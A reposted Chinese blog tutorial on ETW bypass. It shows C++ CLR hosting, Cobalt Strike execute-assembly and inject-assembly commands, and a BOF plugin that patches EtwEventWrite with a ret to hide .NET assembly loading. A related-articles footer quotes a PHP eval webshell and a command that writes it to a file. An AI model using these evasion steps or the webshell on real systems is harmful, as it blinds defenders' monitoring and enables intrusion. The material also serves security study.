ETW Bypass

2024-01-31 19:28
文章标签 bypass etw

本文主要是介绍ETW Bypass,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.NET 程序集

像 Java 是由 JVM 托管的,.NET 程序集(比如C_Sharp.exe) 都是由 CLR 托管的

硬盘加载

从硬盘中读取加载到内存

通过三个接口可以启动 CLR 来对 .NET 程序集 进行硬盘加载

Copy
ICLRMetaHost 接口
ICLRRuntimeInfo 接口
ICLRRuntimeHost 接口

Program.cs:

Copy
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;namespace C_Sharp {class Program {static void Main(string[] args) {}static int print(String strings) {Console.WriteLine(strings);return 1;}}
}

x64.cpp:

Copy
#include <iostream>
#include <metahost.h>
#pragma comment(lib, "mscoree.lib")int main() {// 创建 ICLRMetaHost对象ICLRMetaHost* metaHost = NULL;CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);// 获取枚举器IEnumUnknown* runtime = NULL;metaHost->EnumerateInstalledRuntimes(&runtime);// 枚举安装的CLRIUnknown* enumRuntime = NULL;ICLRRuntimeInfo* runtimeInfo = NULL;DWORD bytes = 2048;LPWSTR frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048);while (runtime->Next(1, &enumRuntime, 0) == S_OK) {if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK) {if (runtimeInfo != NULL) {runtimeInfo->GetVersionString(frameworkName, &bytes);}}}ICLRRuntimeHost* runtimeHost = NULL;runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);runtimeHost->Start(); // 启动CLRruntimeHost->ExecuteInDefaultAppDomain(L"C_Sharp.exe", L"C_Sharp.Program", L"print", L"hacker", NULL);return 0;
}

内存加载

直接从内存加载,不需要从硬盘读取

CS 新启进程,内存加载 .NET 程序集:

Copy
execute-assembly d:\net.exe

2.ETW

一种事件追踪机制,会检测 .NET 程序集

检测示例

Program.cs:

Copy
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;namespace C_Sharp {class Program {static void Main(string[] args) {Console.WriteLine("hacker");}}
}

CS 当前进程,内存加载 .NET 程序集:

inject-assembly插件,GitHub - kyleavery/inject-assembly: Inject .NET assemblies into an existing process

Copy
inject-assembly 0 D:\C_Sharp.exe

此时用 Process Hacker 可以看到多出来一些 .NET 信息

图片

还可以看到启动了CLR(clr.dll)

图片

绕过

CLR 会通过 ntdll 的 EtwEventWrite函数 公开信息

BOF-patchit插件,GitHub - ScriptIdiot/BOF-patchit: An all-in-one Cobalt Strike BOF to patch, check and revert AMSI and ETW for x64 process. Both syscalls and dynamic resolve versions are available.

Copy
patchit etw

再查看 .NET 信息,发现获取不到了

图片

原理

对木马进行调试

使用插件前的 EtwEventWrite函数

图片

使用插件后的 EtwEventWrite函数

图片

发现开头变成了ret,使函数无法被正常调用

至于后面为什么变成 mov ebx, esp,看硬编码就知道了

这篇关于ETW Bypass的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/664818

相关文章

ctfhub-web-SSRF(FastCGI协议-DNS重绑定 Bypass)

less-6  FastCGI协议 步骤一:开启环境,查看提示 步骤二:对一句话木马进行base64编码:<?php @eval($_POST[cmd]);?> echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > 1.php 步骤三:利用kali,使用Gopherus工具生成payload: python2 '/ho

如何Bypass WAF备忘录

#0x0、什么是WAF? Web 应用程序防火墙 (WAF) 是一组监视器和过滤器,旨在检测和阻止对 Web 应用程序的网络攻击。 WAF 工作在 OSI 模型的应用层。 Web 应用程序防火墙作为一个安全工具、它实时决定网络请求是通过还是拒绝访问。通常,它与解决 HTTP/HTTPS 以外协议问题的组件、事件控制系统和反欺诈服务等其他元素一起包含在 Web 应用程序的整体安全系统中。 在进

49-1 内网渗透 - Bypass UAC介绍

一、Bypass UAC         用户账户控制(UAC)是Windows操作系统的一种安全机制,旨在防止未经授权的应用程序自动安装并防止非授权修改系统设置。它确保应用程序和任务通常在非管理员账户的安全上下文中运行,除非明确需要管理员权限,用户才会被提示确认。         对于非RID 500的管理员用户(除了内置的Administrator账户),当他们登录时,系统会为其分配两个访

Spark-Shuffle阶段优化-Bypass机制详解

Spark概述 Spark-Shuffle阶段优化-Bypass机制详解 Spark的Bypass机制是一种特定情况下的优化策略,目的是减少Shuffle过程中不必要的排序开销,从而提升性能。当Shuffle分区数较少且数据量不大时,Bypass机制可以显著加快Shuffle速度。 1.什么是Shuffle? 在分布式计算中,Shuffle是将数据从Map阶段传递到Reduce阶段的过

Windows defender bypass | 免杀

官方文档 在制作免杀的过程中,翻找 Windows 官方对 Windows Defender 的介绍,发现有这样一个目录:Configure Microsoft Defender Antivirus exclusions on Windows Server(在 Windows server 中配置defender排除项)。 https://docs.microsoft.com/en-us/m

[Transactional Level Bypass] Bypass Validation Rule in Apex Batch Class

问题 现有一个batch job用于批量更新Lead,最近频繁收到apex exception email, 显示更新Lead的时候触发了validation rule,导致apex job运行失败。 batch class节选如下: public void execute(Database.BatchableContext bc, List<Lead> scope) {for (Lead

Windows如何启动和停止etw事件监听

Windows如何启动和停止etw事件监听 关于Etw ETW是Event Tracing for Windows的简称,它是Windows提供的原生的事件跟踪日志系统。由于采用内核(Kernel)层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案。Windows (ETW) 的事件跟踪提供一种机制来跟踪和记录由用户模式应用程序和内核模式驱动程序引发的事件。 ETW

Universal DEP/ASLR bypass with msvcr71.dll and mona.py

转载自: https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ Introduction Over the last few weeks, there has been some commotion about a universal D

红队系列-shellcode AV bypass Evasion免杀合集

shellcode免杀 shellcode加载器老版本windows 组件 过命令 行为链条反虚拟机RGB隐写SEH和EgghunterLSASSGMON命令AST 免杀图片包含马 emoji 编码 图片马表情免杀CuiRi RootKit内核驱动Mimidrv文件落地BitsadminCertutilFTPcscriptcmdl32Mspub.exeConfigSecurityPoli

git commit 提交的时候报错husky > pre-commit hook failed (add --no-verify to bypass)(解决办法)

问题原因:   问题原因:pre-commit钩子惹的祸当你在终端输入git commit -m"XXX",提交代码的时候,pre-commit(客户端)钩子,它会在Git键入提交信息前运行做代码风格检查。如果代码不符合相应规则,则报错,它的检测规则就是根据.git/hooks/pre-commit文件里面的相关定义。次要原因:创建vue项目时,eslint校验 是否在 commit提交是进行校